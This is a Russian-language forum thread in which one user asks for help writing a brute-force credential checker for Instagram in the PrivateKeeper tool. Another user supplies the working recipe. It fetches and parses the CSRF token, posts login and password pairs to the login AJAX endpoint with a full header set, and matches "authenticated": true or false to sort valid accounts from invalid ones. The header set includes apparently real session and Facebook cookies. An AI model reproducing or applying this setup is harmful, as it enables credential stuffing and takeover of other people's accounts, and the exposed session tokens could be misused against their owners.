Brut Checker Instagram

[dzam]

Пишу Брутчекер для Instagram на PrivateKeeper. Не получается поймать положительные ответ.
Для подключения использую ссылку: https://www.instagram.com/accounts/login/ajax/
Параметры: username=|LOGIN|&password=|PWD|

Через HTTP Analyzer ловил положительные и отрицательные ответы и не нашел разницы.

Вот один из ответов

Request Headers Value
(Request-Line) POST /accounts/login/ajax/ HTTP/1.1
Accept */*
X-CSRFToken lewsNJxP6lp2Rj9HwDF6kNy2NlrePLdg
X-Instagram-AJAX 1
Content-Type application/x-www-form-urlencoded
X-Requested-With XMLHttpRequest
Referer https://www.instagram.com/
Accept-Language ru-RU
Accept-Encoding gzip, deflate
User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host www.instagram.com
Content-Length 38
DNT 1
Connection Keep-Alive
Cache-Control no-cache
Cookie mid=WEiDlwAEAAHkI2kx8-JUaNRa61Py; s_network=; ig_pr=1; ig_vw=1920; csrftoken=lewsNJxP6lp2Rj9HwDF6kNy2NlrePLdg

Благодарю за любые подсказки.

 

[TrashHunter]

ссылка правильно, пост данные тоже, запрос Post, application/x-www-form-urlencoded
Все дело в заголовках.
Для начала сделай парс csrf_token с https://www.instagram.com/

 

[dzam]

ссылка правильно, пост данные тоже, запрос Post, application/x-www-form-urlencoded

Так и делаю.

Все дело в заголовках.
Для начала сделай парс csrf_token с https://www.instagram.com/

Т.е. сначала посылать запрос на https://www.instagram.com/, получать csrftoken, а далее используя его посылать авторизационные данные?

 

[TrashHunter]

Да, делаешь отдельный запрос "парс csrftoken", А второй запрос уже авторизации.
Вот что я поставил в заголовки. Скорее всего оно не все нужно но и с ним работает. |PARS|[1], это и есть crftoken.
accept:*/*
accept-encoding:gzip, deflate, br
accept-language:ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
x-csrftoken:|PARS|[1]
x-instagram-ajax:1
x-requested-with:XMLHttpRequest
referer:https://www.instagram.com/
cookie:mid=WDWLNwAEAAEt6Yg8YeC2LARJxI_z; sessionid=IGSC98e501339e1bb69534211d836fc5ebde10388880a52f2bdfefe24e43164e70eb%3A8qla0uiPN49LiwVDbtezN7x8F4z8SHIp%3A%7B%22asns%22%3A%7B%22time%22%3A1480810468%7D%7D; ig_pr=1.25; ig_vw=1536; fbm_124024574287414=base_domain=.instagram.com; fbsr_124024574287414=1FXUoxlm3lJqaw4DiskG4lj1ZkE3NvEGbqSz_ATgP4o.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNvZGUiOiJBUUQxei13Ukx0Q3ZWaUpuaFFEQkhuSWlsVlQ2MHhGYW5yNVlJWUdMNlZmZkxoU1hCNkJFTFRqSHdIZXp2SUhFY2swNUc2NjlRbjU0MlBzMDBSQU5zRjV0THpydlVzVGl2dGNlX0c3LWhjWkl4LUdfVVluLTYtbjBfZFQ5d0VwZnhJZ0haWk9QdzV0LVk4UnZ0QjBnTkFfMlA1UVpXMk5KSXNoWkctcHEwZkotYmpmNmFiLXR6SkRUbndQdWFrSUIxblhaUHBGaWNwSktQbHloblRCcmtWcVVna2VhemE5X2ExQ2s2Q0tNMFBFUE5ZOWREUVpyVXNKZ21qVzFveFlWRmVTbVdXMzRuRl91dWpya19OM3dtQ3J4SnUzOEpONHUyanFkcTFncElYVkcyakF6WnZKdHNsZDdJSUhuZkxBc1JlSDhnMDN6TTJ1cWtlU2xVMW5JSE9kOSIsImlzc3VlZF9hdCI6MTQ4MTU2Mjk0NSwidXNlcl9pZCI6IjEwMDAwNDQyNDcwOTkwOSJ9; csrftoken=|PARS|[1]

Вот определение хорошего "authenticated": true|pos>0||RESPONSE|
Вот определение плохого "authenticated": false|pos>0||RESPONSE|